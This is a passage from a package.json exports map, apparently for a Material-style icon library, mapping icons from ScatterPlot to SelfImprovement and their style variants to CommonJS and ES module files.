\"./ScatterPlot.js\",\n      \"import\": \"./ScatterPlot.mjs\",\n      \"default\": \"./ScatterPlot.mjs\"\n    },\n    \"./ScatterPlotOutlined\": {\n      \"require\": \"./ScatterPlotOutlined.js\",\n      \"import\": \"./ScatterPlotOutlined.mjs\",\n      \"default\": \"./ScatterPlotOutlined.mjs\"\n    },\n    \"./ScatterPlotRounded\": {\n      \"require\": \"./ScatterPlotRounded.js\",\n      \"import\": \"./ScatterPlotRounded.mjs\",\n      \"default\": \"./ScatterPlotRounded.mjs\"\n    },\n    \"./ScatterPlotSharp\": {\n      \"require\": \"./ScatterPlotSharp.js\",\n      \"import\": \"./ScatterPlotSharp.mjs\",\n      \"default\": \"./ScatterPlotSharp.mjs\"\n    },\n    \"./ScatterPlotTwoTone\": {\n      \"require\": \"./ScatterPlotTwoTone.js\",\n      \"import\": \"./ScatterPlotTwoTone.mjs\",\n      \"default\": \"./ScatterPlotTwoTone.mjs\"\n    },\n    \"./Schedule\": {\n      \"require\": \"./Schedule.js\",\n      \"import\": \"./Schedule.mjs\",\n      \"default\": \"./Schedule.mjs\"\n    },\n    \"./ScheduleOutlined\": {\n      \"require\": \"./ScheduleOutlined.js\",\n      \"import\": \"./ScheduleOutlined.mjs\",\n      \"default\": \"./ScheduleOutlined.mjs\"\n    },\n    \"./ScheduleRounded\": {\n      \"require\": \"./ScheduleRounded.js\",\n      \"import\": \"./ScheduleRounded.mjs\",\n      \"default\": \"./ScheduleRounded.mjs\"\n    },\n    \"./ScheduleSend\": {\n      \"require\": \"./ScheduleSend.js\",\n      \"import\": \"./ScheduleSend.mjs\",\n      \"default\": \"./ScheduleSend.mjs\"\n    },\n    \"./ScheduleSendOutlined\": {\n      \"require\": \"./ScheduleSendOutlined.js\",\n      \"import\": \"./ScheduleSendOutlined.mjs\",\n      \"default\": \"./ScheduleSendOutlined.mjs\"\n    },\n    \"./ScheduleSendRounded\": {\n      \"require\": \"./ScheduleSendRounded.js\",\n      \"import\": \"./ScheduleSendRounded.mjs\",\n      \"default\": \"./ScheduleSendRounded.mjs\"\n    },\n    \"./ScheduleSendSharp\": {\n      \"require\": \"./ScheduleSendSharp.js\",\n      \"import\": \"./ScheduleSendSharp.mjs\",\n      \"default\": \"./ScheduleSendSharp.mjs\"\n    },\n    \"./ScheduleSendTwoTone\": {\n      \"require\": \"./ScheduleSendTwoTone.js\",\n      \"import\": \"./ScheduleSendTwoTone.mjs\",\n      \"default\": \"./ScheduleSendTwoTone.mjs\"\n    },\n    \"./ScheduleSharp\": {\n      \"require\": \"./ScheduleSharp.js\",\n      \"import\": \"./ScheduleSharp.mjs\",\n      \"default\": \"./ScheduleSharp.mjs\"\n    },\n    \"./ScheduleTwoTone\": {\n      \"require\": \"./ScheduleTwoTone.js\",\n      \"import\": \"./ScheduleTwoTone.mjs\",\n      \"default\": \"./ScheduleTwoTone.mjs\"\n    },\n    \"./Schema\": {\n      \"require\": \"./Schema.js\",\n      \"import\": \"./Schema.mjs\",\n      \"default\": \"./Schema.mjs\"\n    },\n    \"./SchemaOutlined\": {\n      \"require\": \"./SchemaOutlined.js\",\n      \"import\": \"./SchemaOutlined.mjs\",\n      \"default\": \"./SchemaOutlined.mjs\"\n    },\n    \"./SchemaRounded\": {\n      \"require\": \"./SchemaRounded.js\",\n      \"import\": \"./SchemaRounded.mjs\",\n      \"default\": \"./SchemaRounded.mjs\"\n    },\n    \"./SchemaSharp\": {\n      \"require\": \"./SchemaSharp.js\",\n      \"import\": \"./SchemaSharp.mjs\",\n      \"default\": \"./SchemaSharp.mjs\"\n    },\n    \"./SchemaTwoTone\": {\n      \"require\": \"./SchemaTwoTone.js\",\n      \"import\": \"./SchemaTwoTone.mjs\",\n      \"default\": \"./SchemaTwoTone.mjs\"\n    },\n    \"./School\": {\n      \"require\": \"./School.js\",\n      \"import\": \"./School.mjs\",\n      \"default\": \"./School.mjs\"\n    },\n    \"./SchoolOutlined\": {\n      \"require\": \"./SchoolOutlined.js\",\n      \"import\": \"./SchoolOutlined.mjs\",\n      \"default\": \"./SchoolOutlined.mjs\"\n    },\n    \"./SchoolRounded\": {\n      \"require\": \"./SchoolRounded.js\",\n      \"import\": \"./SchoolRounded.mjs\",\n      \"default\": \"./SchoolRounded.mjs\"\n    },\n    \"./SchoolSharp\": {\n      \"require\": \"./SchoolSharp.js\",\n      \"import\": \"./SchoolSharp.mjs\",\n      \"default\": \"./SchoolSharp.mjs\"\n    },\n    \"./SchoolTwoTone\": {\n      \"require\": \"./SchoolTwoTone.js\",\n      \"import\": \"./SchoolTwoTone.mjs\",\n      \"default\": \"./SchoolTwoTone.mjs\"\n    },\n    \"./Science\": {\n      \"require\": \"./Science.js\",\n      \"import\": \"./Science.mjs\",\n      \"default\": \"./Science.mjs\"\n    },\n    \"./ScienceOutlined\": {\n      \"require\": \"./ScienceOutlined.js\",\n      \"import\": \"./ScienceOutlined.mjs\",\n      \"default\": \"./ScienceOutlined.mjs\"\n    },\n    \"./ScienceRounded\": {\n      \"require\": \"./ScienceRounded.js\",\n      \"import\": \"./ScienceRounded.mjs\",\n      \"default\": \"./ScienceRounded.mjs\"\n    },\n    \"./ScienceSharp\": {\n      \"require\": \"./ScienceSharp.js\",\n      \"import\": \"./ScienceSharp.mjs\",\n      \"default\": \"./ScienceSharp.mjs\"\n    },\n    \"./ScienceTwoTone\": {\n      \"require\": \"./ScienceTwoTone.js\",\n      \"import\": \"./ScienceTwoTone.mjs\",\n      \"default\": \"./ScienceTwoTone.mjs\"\n    },\n    \"./Score\": {\n      \"require\": \"./Score.js\",\n      \"import\": \"./Score.mjs\",\n      \"default\": \"./Score.mjs\"\n    },\n    \"./ScoreOutlined\": {\n      \"require\": \"./ScoreOutlined.js\",\n      \"import\": \"./ScoreOutlined.mjs\",\n      \"default\": \"./ScoreOutlined.mjs\"\n    },\n    \"./ScoreRounded\": {\n      \"require\": \"./ScoreRounded.js\",\n      \"import\": \"./ScoreRounded.mjs\",\n      \"default\": \"./ScoreRounded.mjs\"\n    },\n    \"./ScoreSharp\": {\n      \"import\": \"./ScoreSharp.mjs\",\n      \"require\": \"./ScoreSharp.js\",\n      \"default\": \"./ScoreSharp.mjs\"\n    },\n    \"./ScoreTwoTone\": {\n      \"import\": \"./ScoreTwoTone.mjs\",\n      \"require\": \"./ScoreTwoTone.js\",\n      \"default\": \"./ScoreTwoTone.mjs\"\n    },\n    \"./Scoreboard\": {\n      \"import\": \"./Scoreboard.mjs\",\n      \"require\": \"./Scoreboard.js\",\n      \"default\": \"./Scoreboard.mjs\"\n    },\n    \"./ScoreboardOutlined\": {\n      \"import\": \"./ScoreboardOutlined.mjs\",\n      \"require\": \"./ScoreboardOutlined.js\",\n      \"default\": \"./ScoreboardOutlined.mjs\"\n    },\n    \"./ScoreboardRounded\": {\n      \"import\": \"./ScoreboardRounded.mjs\",\n      \"require\": \"./ScoreboardRounded.js\",\n      \"default\": \"./ScoreboardRounded.mjs\"\n    },\n    \"./ScoreboardSharp\": {\n      \"import\": \"./ScoreboardSharp.mjs\",\n      \"require\": \"./ScoreboardSharp.js\",\n      \"default\": \"./ScoreboardSharp.mjs\"\n    },\n    \"./ScoreboardTwoTone\": {\n      \"import\": \"./ScoreboardTwoTone.mjs\",\n      \"require\": \"./ScoreboardTwoTone.js\",\n      \"default\": \"./ScoreboardTwoTone.mjs\"\n    },\n    \"./ScreenLockLandscape\": {\n      \"import\": \"./ScreenLockLandscape.mjs\",\n      \"require\": \"./ScreenLockLandscape.js\",\n      \"default\": \"./ScreenLockLandscape.mjs\"\n    },\n    \"./ScreenLockLandscapeOutlined\": {\n      \"require\": \"./ScreenLockLandscapeOutlined.js\",\n      \"import\": \"./ScreenLockLandscapeOutlined.mjs\",\n      \"default\": \"./ScreenLockLandscapeOutlined.mjs\"\n    },\n    \"./ScreenLockLandscapeRounded\": {\n      \"require\": \"./ScreenLockLandscapeRounded.js\",\n      \"import\": \"./ScreenLockLandscapeRounded.mjs\",\n      \"default\": \"./ScreenLockLandscapeRounded.mjs\"\n    },\n    \"./ScreenLockLandscapeSharp\": {\n      \"require\": \"./ScreenLockLandscapeSharp.js\",\n      \"import\": \"./ScreenLockLandscapeSharp.mjs\",\n      \"default\": \"./ScreenLockLandscapeSharp.mjs\"\n    },\n    \"./ScreenLockLandscapeTwoTone\": {\n      \"require\": \"./ScreenLockLandscapeTwoTone.js\",\n      \"import\": \"./ScreenLockLandscapeTwoTone.mjs\",\n      \"default\": \"./ScreenLockLandscapeTwoTone.mjs\"\n    },\n    \"./ScreenLockPortrait\": {\n      \"require\": \"./ScreenLockPortrait.js\",\n      \"import\": \"./ScreenLockPortrait.mjs\",\n      \"default\": \"./ScreenLockPortrait.mjs\"\n    },\n    \"./ScreenLockPortraitOutlined\": {\n      \"require\": \"./ScreenLockPortraitOutlined.js\",\n      \"import\": \"./ScreenLockPortraitOutlined.mjs\",\n      \"default\": \"./ScreenLockPortraitOutlined.mjs\"\n    },\n    \"./ScreenLockPortraitRounded\": {\n      \"require\": \"./ScreenLockPortraitRounded.js\",\n      \"import\": \"./ScreenLockPortraitRounded.mjs\",\n      \"default\": \"./ScreenLockPortraitRounded.mjs\"\n    },\n    \"./ScreenLockPortraitSharp\": {\n      \"require\": \"./ScreenLockPortraitSharp.js\",\n      \"import\": \"./ScreenLockPortraitSharp.mjs\",\n      \"default\": \"./ScreenLockPortraitSharp.mjs\"\n    },\n    \"./ScreenLockPortraitTwoTone\": {\n      \"require\": \"./ScreenLockPortraitTwoTone.js\",\n      \"import\": \"./ScreenLockPortraitTwoTone.mjs\",\n      \"default\": \"./ScreenLockPortraitTwoTone.mjs\"\n    },\n    \"./ScreenLockRotation\": {\n      \"require\": \"./ScreenLockRotation.js\",\n      \"import\": \"./ScreenLockRotation.mjs\",\n      \"default\": \"./ScreenLockRotation.mjs\"\n    },\n    \"./ScreenLockRotationOutlined\": {\n      \"require\": \"./ScreenLockRotationOutlined.js\",\n      \"import\": \"./ScreenLockRotationOutlined.mjs\",\n      \"default\": \"./ScreenLockRotationOutlined.mjs\"\n    },\n    \"./ScreenLockRotationRounded\": {\n      \"require\": \"./ScreenLockRotationRounded.js\",\n      \"import\": \"./ScreenLockRotationRounded.mjs\",\n      \"default\": \"./ScreenLockRotationRounded.mjs\"\n    },\n    \"./ScreenLockRotationSharp\": {\n      \"require\": \"./ScreenLockRotationSharp.js\",\n      \"import\": \"./ScreenLockRotationSharp.mjs\",\n      \"default\": \"./ScreenLockRotationSharp.mjs\"\n    },\n    \"./ScreenLockRotationTwoTone\": {\n      \"require\": \"./ScreenLockRotationTwoTone.js\",\n      \"import\": \"./ScreenLockRotationTwoTone.mjs\",\n      \"default\": \"./ScreenLockRotationTwoTone.mjs\"\n    },\n    \"./ScreenRotation\": {\n      \"require\": \"./ScreenRotation.js\",\n      \"import\": \"./ScreenRotation.mjs\",\n      \"default\": \"./ScreenRotation.mjs\"\n    },\n    \"./ScreenRotationAlt\": {\n      \"require\": \"./ScreenRotationAlt.js\",\n      \"import\": \"./ScreenRotationAlt.mjs\",\n      \"default\": \"./ScreenRotationAlt.mjs\"\n    },\n    \"./ScreenRotationAltOutlined\": {\n      \"require\": \"./ScreenRotationAltOutlined.js\",\n      \"import\": \"./ScreenRotationAltOutlined.mjs\",\n      \"default\": \"./ScreenRotationAltOutlined.mjs\"\n    },\n    \"./ScreenRotationAltRounded\": {\n      \"require\": \"./ScreenRotationAltRounded.js\",\n      \"import\": \"./ScreenRotationAltRounded.mjs\",\n      \"default\": \"./ScreenRotationAltRounded.mjs\"\n    },\n    \"./ScreenRotationAltSharp\": {\n      \"require\": \"./ScreenRotationAltSharp.js\",\n      \"import\": \"./ScreenRotationAltSharp.mjs\",\n      \"default\": \"./ScreenRotationAltSharp.mjs\"\n    },\n    \"./ScreenRotationAltTwoTone\": {\n      \"import\": \"./ScreenRotationAltTwoTone.mjs\",\n      \"require\": \"./ScreenRotationAltTwoTone.js\",\n      \"default\": \"./ScreenRotationAltTwoTone.mjs\"\n    },\n    \"./ScreenRotationOutlined\": {\n      \"import\": \"./ScreenRotationOutlined.mjs\",\n      \"require\": \"./ScreenRotationOutlined.js\",\n      \"default\": \"./ScreenRotationOutlined.mjs\"\n    },\n    \"./ScreenRotationRounded\": {\n      \"import\": \"./ScreenRotationRounded.mjs\",\n      \"require\": \"./ScreenRotationRounded.js\",\n      \"default\": \"./ScreenRotationRounded.mjs\"\n    },\n    \"./ScreenRotationSharp\": {\n      \"import\": \"./ScreenRotationSharp.mjs\",\n      \"require\": \"./ScreenRotationSharp.js\",\n      \"default\": \"./ScreenRotationSharp.mjs\"\n    },\n    \"./ScreenRotationTwoTone\": {\n      \"import\": \"./ScreenRotationTwoTone.mjs\",\n      \"require\": \"./ScreenRotationTwoTone.js\",\n      \"default\": \"./ScreenRotationTwoTone.mjs\"\n    },\n    \"./ScreenSearchDesktop\": {\n      \"import\": \"./ScreenSearchDesktop.mjs\",\n      \"require\": \"./ScreenSearchDesktop.js\",\n      \"default\": \"./ScreenSearchDesktop.mjs\"\n    },\n    \"./ScreenSearchDesktopOutlined\": {\n      \"import\": \"./ScreenSearchDesktopOutlined.mjs\",\n      \"require\": \"./ScreenSearchDesktopOutlined.js\",\n      \"default\": \"./ScreenSearchDesktopOutlined.mjs\"\n    },\n    \"./ScreenSearchDesktopRounded\": {\n      \"import\": \"./ScreenSearchDesktopRounded.mjs\",\n      \"require\": \"./ScreenSearchDesktopRounded.js\",\n      \"default\": \"./ScreenSearchDesktopRounded.mjs\"\n    },\n    \"./ScreenSearchDesktopSharp\": {\n      \"import\": \"./ScreenSearchDesktopSharp.mjs\",\n      \"require\": \"./ScreenSearchDesktopSharp.js\",\n      \"default\": \"./ScreenSearchDesktopSharp.mjs\"\n    },\n    \"./ScreenSearchDesktopTwoTone\": {\n      \"import\": \"./ScreenSearchDesktopTwoTone.mjs\",\n      \"require\": \"./ScreenSearchDesktopTwoTone.js\",\n      \"default\": \"./ScreenSearchDesktopTwoTone.mjs\"\n    },\n    \"./ScreenShare\": {\n      \"require\": \"./ScreenShare.js\",\n      \"import\": \"./ScreenShare.mjs\",\n      \"default\": \"./ScreenShare.mjs\"\n    },\n    \"./ScreenShareOutlined\": {\n      \"require\": \"./ScreenShareOutlined.js\",\n      \"import\": \"./ScreenShareOutlined.mjs\",\n      \"default\": \"./ScreenShareOutlined.mjs\"\n    },\n    \"./ScreenShareRounded\": {\n      \"require\": \"./ScreenShareRounded.js\",\n      \"import\": \"./ScreenShareRounded.mjs\",\n      \"default\": \"./ScreenShareRounded.mjs\"\n    },\n    \"./ScreenShareSharp\": {\n      \"require\": \"./ScreenShareSharp.js\",\n      \"import\": \"./ScreenShareSharp.mjs\",\n      \"default\": \"./ScreenShareSharp.mjs\"\n    },\n    \"./ScreenShareTwoTone\": {\n      \"require\": \"./ScreenShareTwoTone.js\",\n      \"import\": \"./ScreenShareTwoTone.mjs\",\n      \"default\": \"./ScreenShareTwoTone.mjs\"\n    },\n    \"./Screenshot\": {\n      \"require\": \"./Screenshot.js\",\n      \"import\": \"./Screenshot.mjs\",\n      \"default\": \"./Screenshot.mjs\"\n    },\n    \"./ScreenshotMonitor\": {\n      \"require\": \"./ScreenshotMonitor.js\",\n      \"import\": \"./ScreenshotMonitor.mjs\",\n      \"default\": \"./ScreenshotMonitor.mjs\"\n    },\n    \"./ScreenshotMonitorOutlined\": {\n      \"import\": \"./ScreenshotMonitorOutlined.mjs\",\n      \"require\": \"./ScreenshotMonitorOutlined.js\",\n      \"default\": \"./ScreenshotMonitorOutlined.mjs\"\n    },\n    \"./ScreenshotMonitorRounded\": {\n      \"import\": \"./ScreenshotMonitorRounded.mjs\",\n      \"require\": \"./ScreenshotMonitorRounded.js\",\n      \"default\": \"./ScreenshotMonitorRounded.mjs\"\n    },\n    \"./ScreenshotMonitorSharp\": {\n      \"import\": \"./ScreenshotMonitorSharp.mjs\",\n      \"require\": \"./ScreenshotMonitorSharp.js\",\n      \"default\": \"./ScreenshotMonitorSharp.mjs\"\n    },\n    \"./ScreenshotMonitorTwoTone\": {\n      \"import\": \"./ScreenshotMonitorTwoTone.mjs\",\n      \"require\": \"./ScreenshotMonitorTwoTone.js\",\n      \"default\": \"./ScreenshotMonitorTwoTone.mjs\"\n    },\n    \"./ScreenshotOutlined\": {\n      \"import\": \"./ScreenshotOutlined.mjs\",\n      \"require\": \"./ScreenshotOutlined.js\",\n      \"default\": \"./ScreenshotOutlined.mjs\"\n    },\n    \"./ScreenshotRounded\": {\n      \"import\": \"./ScreenshotRounded.mjs\",\n      \"require\": \"./ScreenshotRounded.js\",\n      \"default\": \"./ScreenshotRounded.mjs\"\n    },\n    \"./ScreenshotSharp\": {\n      \"import\": \"./ScreenshotSharp.mjs\",\n      \"require\": \"./ScreenshotSharp.js\",\n      \"default\": \"./ScreenshotSharp.mjs\"\n    },\n    \"./ScreenshotTwoTone\": {\n      \"import\": \"./ScreenshotTwoTone.mjs\",\n      \"require\": \"./ScreenshotTwoTone.js\",\n      \"default\": \"./ScreenshotTwoTone.mjs\"\n    },\n    \"./ScubaDiving\": {\n      \"require\": \"./ScubaDiving.js\",\n      \"import\": \"./ScubaDiving.mjs\",\n      \"default\": \"./ScubaDiving.mjs\"\n    },\n    \"./ScubaDivingOutlined\": {\n      \"import\": \"./ScubaDivingOutlined.mjs\",\n      \"require\": \"./ScubaDivingOutlined.js\",\n      \"default\": \"./ScubaDivingOutlined.mjs\"\n    },\n    \"./ScubaDivingRounded\": {\n      \"import\": \"./ScubaDivingRounded.mjs\",\n      \"require\": \"./ScubaDivingRounded.js\",\n      \"default\": \"./ScubaDivingRounded.mjs\"\n    },\n    \"./ScubaDivingSharp\": {\n      \"import\": \"./ScubaDivingSharp.mjs\",\n      \"require\": \"./ScubaDivingSharp.js\",\n      \"default\": \"./ScubaDivingSharp.mjs\"\n    },\n    \"./ScubaDivingTwoTone\": {\n      \"import\": \"./ScubaDivingTwoTone.mjs\",\n      \"require\": \"./ScubaDivingTwoTone.js\",\n      \"default\": \"./ScubaDivingTwoTone.mjs\"\n    },\n    \"./Sd\": {\n      \"import\": \"./Sd.mjs\",\n      \"require\": \"./Sd.js\",\n      \"default\": \"./Sd.mjs\"\n    },\n    \"./SdCard\": {\n      \"import\": \"./SdCard.mjs\",\n      \"require\": \"./SdCard.js\",\n      \"default\": \"./SdCard.mjs\"\n    },\n    \"./SdCardAlert\": {\n      \"import\": \"./SdCardAlert.mjs\",\n      \"require\": \"./SdCardAlert.js\",\n      \"default\": \"./SdCardAlert.mjs\"\n    },\n    \"./SdCardAlertOutlined\": {\n      \"require\": \"./SdCardAlertOutlined.js\",\n      \"import\": \"./SdCardAlertOutlined.mjs\",\n      \"default\": \"./SdCardAlertOutlined.mjs\"\n    },\n    \"./SdCardAlertRounded\": {\n      \"require\": \"./SdCardAlertRounded.js\",\n      \"import\": \"./SdCardAlertRounded.mjs\",\n      \"default\": \"./SdCardAlertRounded.mjs\"\n    },\n    \"./SdCardAlertSharp\": {\n      \"require\": \"./SdCardAlertSharp.js\",\n      \"import\": \"./SdCardAlertSharp.mjs\",\n      \"default\": \"./SdCardAlertSharp.mjs\"\n    },\n    \"./SdCardAlertTwoTone\": {\n      \"require\": \"./SdCardAlertTwoTone.js\",\n      \"import\": \"./SdCardAlertTwoTone.mjs\",\n      \"default\": \"./SdCardAlertTwoTone.mjs\"\n    },\n    \"./SdCardOutlined\": {\n      \"import\": \"./SdCardOutlined.mjs\",\n      \"require\": \"./SdCardOutlined.js\",\n      \"default\": \"./SdCardOutlined.mjs\"\n    },\n    \"./SdCardRounded\": {\n      \"import\": \"./SdCardRounded.mjs\",\n      \"require\": \"./SdCardRounded.js\",\n      \"default\": \"./SdCardRounded.mjs\"\n    },\n    \"./SdCardSharp\": {\n      \"import\": \"./SdCardSharp.mjs\",\n      \"require\": \"./SdCardSharp.js\",\n      \"default\": \"./SdCardSharp.mjs\"\n    },\n    \"./SdCardTwoTone\": {\n      \"import\": \"./SdCardTwoTone.mjs\",\n      \"require\": \"./SdCardTwoTone.js\",\n      \"default\": \"./SdCardTwoTone.mjs\"\n    },\n    \"./SdOutlined\": {\n      \"import\": \"./SdOutlined.mjs\",\n      \"require\": \"./SdOutlined.js\",\n      \"default\": \"./SdOutlined.mjs\"\n    },\n    \"./SdRounded\": {\n      \"import\": \"./SdRounded.mjs\",\n      \"require\": \"./SdRounded.js\",\n      \"default\": \"./SdRounded.mjs\"\n    },\n    \"./SdSharp\": {\n      \"import\": \"./SdSharp.mjs\",\n      \"require\": \"./SdSharp.js\",\n      \"default\": \"./SdSharp.mjs\"\n    },\n    \"./SdStorage\": {\n      \"import\": \"./SdStorage.mjs\",\n      \"require\": \"./SdStorage.js\",\n      \"default\": \"./SdStorage.mjs\"\n    },\n    \"./SdStorageOutlined\": {\n      \"import\": \"./SdStorageOutlined.mjs\",\n      \"require\": \"./SdStorageOutlined.js\",\n      \"default\": \"./SdStorageOutlined.mjs\"\n    },\n    \"./SdStorageRounded\": {\n      \"import\": \"./SdStorageRounded.mjs\",\n      \"require\": \"./SdStorageRounded.js\",\n      \"default\": \"./SdStorageRounded.mjs\"\n    },\n    \"./SdStorageSharp\": {\n      \"import\": \"./SdStorageSharp.mjs\",\n      \"require\": \"./SdStorageSharp.js\",\n      \"default\": \"./SdStorageSharp.mjs\"\n    },\n    \"./SdStorageTwoTone\": {\n      \"require\": \"./SdStorageTwoTone.js\",\n      \"import\": \"./SdStorageTwoTone.mjs\",\n      \"default\": \"./SdStorageTwoTone.mjs\"\n    },\n    \"./SdTwoTone\": {\n      \"require\": \"./SdTwoTone.js\",\n      \"import\": \"./SdTwoTone.mjs\",\n      \"default\": \"./SdTwoTone.mjs\"\n    },\n    \"./Search\": {\n      \"require\": \"./Search.js\",\n      \"import\": \"./Search.mjs\",\n      \"default\": \"./Search.mjs\"\n    },\n    \"./SearchOff\": {\n      \"require\": \"./SearchOff.js\",\n      \"import\": \"./SearchOff.mjs\",\n      \"default\": \"./SearchOff.mjs\"\n    },\n    \"./SearchOffOutlined\": {\n      \"require\": \"./SearchOffOutlined.js\",\n      \"import\": \"./SearchOffOutlined.mjs\",\n      \"default\": \"./SearchOffOutlined.mjs\"\n    },\n    \"./SearchOffRounded\": {\n      \"require\": \"./SearchOffRounded.js\",\n      \"import\": \"./SearchOffRounded.mjs\",\n      \"default\": \"./SearchOffRounded.mjs\"\n    },\n    \"./SearchOffSharp\": {\n      \"require\": \"./SearchOffSharp.js\",\n      \"import\": \"./SearchOffSharp.mjs\",\n      \"default\": \"./SearchOffSharp.mjs\"\n    },\n    \"./SearchOffTwoTone\": {\n      \"import\": \"./SearchOffTwoTone.mjs\",\n      \"require\": \"./SearchOffTwoTone.js\",\n      \"default\": \"./SearchOffTwoTone.mjs\"\n    },\n    \"./SearchOutlined\": {\n      \"require\": \"./SearchOutlined.js\",\n      \"import\": \"./SearchOutlined.mjs\",\n      \"default\": \"./SearchOutlined.mjs\"\n    },\n    \"./SearchRounded\": {\n      \"import\": \"./SearchRounded.mjs\",\n      \"require\": \"./SearchRounded.js\",\n      \"default\": \"./SearchRounded.mjs\"\n    },\n    \"./SearchSharp\": {\n      \"import\": \"./SearchSharp.mjs\",\n      \"require\": \"./SearchSharp.js\",\n      \"default\": \"./SearchSharp.mjs\"\n    },\n    \"./SearchTwoTone\": {\n      \"import\": \"./SearchTwoTone.mjs\",\n      \"require\": \"./SearchTwoTone.js\",\n      \"default\": \"./SearchTwoTone.mjs\"\n    },\n    \"./Security\": {\n      \"import\": \"./Security.mjs\",\n      \"require\": \"./Security.js\",\n      \"default\": \"./Security.mjs\"\n    },\n    \"./SecurityOutlined\": {\n      \"import\": \"./SecurityOutlined.mjs\",\n      \"require\": \"./SecurityOutlined.js\",\n      \"default\": \"./SecurityOutlined.mjs\"\n    },\n    \"./SecurityRounded\": {\n      \"import\": \"./SecurityRounded.mjs\",\n      \"require\": \"./SecurityRounded.js\",\n      \"default\": \"./SecurityRounded.mjs\"\n    },\n    \"./SecuritySharp\": {\n      \"import\": \"./SecuritySharp.mjs\",\n      \"require\": \"./SecuritySharp.js\",\n      \"default\": \"./SecuritySharp.mjs\"\n    },\n    \"./SecurityTwoTone\": {\n      \"import\": \"./SecurityTwoTone.mjs\",\n      \"require\": \"./SecurityTwoTone.js\",\n      \"default\": \"./SecurityTwoTone.mjs\"\n    },\n    \"./SecurityUpdate\": {\n      \"import\": \"./SecurityUpdate.mjs\",\n      \"require\": \"./SecurityUpdate.js\",\n      \"default\": \"./SecurityUpdate.mjs\"\n    },\n    \"./SecurityUpdateGood\": {\n      \"require\": \"./SecurityUpdateGood.js\",\n      \"import\": \"./SecurityUpdateGood.mjs\",\n      \"default\": \"./SecurityUpdateGood.mjs\"\n    },\n    \"./SecurityUpdateGoodOutlined\": {\n      \"require\": \"./SecurityUpdateGoodOutlined.js\",\n      \"import\": \"./SecurityUpdateGoodOutlined.mjs\",\n      \"default\": \"./SecurityUpdateGoodOutlined.mjs\"\n    },\n    \"./SecurityUpdateGoodRounded\": {\n      \"require\": \"./SecurityUpdateGoodRounded.js\",\n      \"import\": \"./SecurityUpdateGoodRounded.mjs\",\n      \"default\": \"./SecurityUpdateGoodRounded.mjs\"\n    },\n    \"./SecurityUpdateGoodSharp\": {\n      \"require\": \"./SecurityUpdateGoodSharp.js\",\n      \"import\": \"./SecurityUpdateGoodSharp.mjs\",\n      \"default\": \"./SecurityUpdateGoodSharp.mjs\"\n    },\n    \"./SecurityUpdateGoodTwoTone\": {\n      \"require\": \"./SecurityUpdateGoodTwoTone.js\",\n      \"import\": \"./SecurityUpdateGoodTwoTone.mjs\",\n      \"default\": \"./SecurityUpdateGoodTwoTone.mjs\"\n    },\n    \"./SecurityUpdateOutlined\": {\n      \"require\": \"./SecurityUpdateOutlined.js\",\n      \"import\": \"./SecurityUpdateOutlined.mjs\",\n      \"default\": \"./SecurityUpdateOutlined.mjs\"\n    },\n    \"./SecurityUpdateRounded\": {\n      \"require\": \"./SecurityUpdateRounded.js\",\n      \"import\": \"./SecurityUpdateRounded.mjs\",\n      \"default\": \"./SecurityUpdateRounded.mjs\"\n    },\n    \"./SecurityUpdateSharp\": {\n      \"require\": \"./SecurityUpdateSharp.js\",\n      \"import\": \"./SecurityUpdateSharp.mjs\",\n      \"default\": \"./SecurityUpdateSharp.mjs\"\n    },\n    \"./SecurityUpdateTwoTone\": {\n      \"require\": \"./SecurityUpdateTwoTone.js\",\n      \"import\": \"./SecurityUpdateTwoTone.mjs\",\n      \"default\": \"./SecurityUpdateTwoTone.mjs\"\n    },\n    \"./SecurityUpdateWarning\": {\n      \"import\": \"./SecurityUpdateWarning.mjs\",\n      \"require\": \"./SecurityUpdateWarning.js\",\n      \"default\": \"./SecurityUpdateWarning.mjs\"\n    },\n    \"./SecurityUpdateWarningOutlined\": {\n      \"import\": \"./SecurityUpdateWarningOutlined.mjs\",\n      \"require\": \"./SecurityUpdateWarningOutlined.js\",\n      \"default\": \"./SecurityUpdateWarningOutlined.mjs\"\n    },\n    \"./SecurityUpdateWarningRounded\": {\n      \"import\": \"./SecurityUpdateWarningRounded.mjs\",\n      \"require\": \"./SecurityUpdateWarningRounded.js\",\n      \"default\": \"./SecurityUpdateWarningRounded.mjs\"\n    },\n    \"./SecurityUpdateWarningSharp\": {\n      \"import\": \"./SecurityUpdateWarningSharp.mjs\",\n      \"require\": \"./SecurityUpdateWarningSharp.js\",\n      \"default\": \"./SecurityUpdateWarningSharp.mjs\"\n    },\n    \"./SecurityUpdateWarningTwoTone\": {\n      \"import\": \"./SecurityUpdateWarningTwoTone.mjs\",\n      \"require\": \"./SecurityUpdateWarningTwoTone.js\",\n      \"default\": \"./SecurityUpdateWarningTwoTone.mjs\"\n    },\n    \"./Segment\": {\n      \"import\": \"./Segment.mjs\",\n      \"require\": \"./Segment.js\",\n      \"default\": \"./Segment.mjs\"\n    },\n    \"./SegmentOutlined\": {\n      \"import\": \"./SegmentOutlined.mjs\",\n      \"require\": \"./SegmentOutlined.js\",\n      \"default\": \"./SegmentOutlined.mjs\"\n    },\n    \"./SegmentRounded\": {\n      \"import\": \"./SegmentRounded.mjs\",\n      \"require\": \"./SegmentRounded.js\",\n      \"default\": \"./SegmentRounded.mjs\"\n    },\n    \"./SegmentSharp\": {\n      \"import\": \"./SegmentSharp.mjs\",\n      \"require\": \"./SegmentSharp.js\",\n      \"default\": \"./SegmentSharp.mjs\"\n    },\n    \"./SegmentTwoTone\": {\n      \"import\": \"./SegmentTwoTone.mjs\",\n      \"require\": \"./SegmentTwoTone.js\",\n      \"default\": \"./SegmentTwoTone.mjs\"\n    },\n    \"./SelectAll\": {\n      \"import\": \"./SelectAll.mjs\",\n      \"require\": \"./SelectAll.js\",\n      \"default\": \"./SelectAll.mjs\"\n    },\n    \"./SelectAllOutlined\": {\n      \"import\": \"./SelectAllOutlined.mjs\",\n      \"require\": \"./SelectAllOutlined.js\",\n      \"default\": \"./SelectAllOutlined.mjs\"\n    },\n    \"./SelectAllRounded\": {\n      \"import\": \"./SelectAllRounded.mjs\",\n      \"require\": \"./SelectAllRounded.js\",\n      \"default\": \"./SelectAllRounded.mjs\"\n    },\n    \"./SelectAllSharp\": {\n      \"import\": \"./SelectAllSharp.mjs\",\n      \"require\": \"./SelectAllSharp.js\",\n      \"default\": \"./SelectAllSharp.mjs\"\n    },\n    \"./SelectAllTwoTone\": {\n      \"import\": \"./SelectAllTwoTone.mjs\",\n      \"require\": \"./SelectAllTwoTone.js\",\n      \"default\": \"./SelectAllTwoTone.mjs\"\n    },\n    \"./SelfImprovement\": {\n      \"import\": \"./SelfImprovement.mjs\",\n      \"require\": 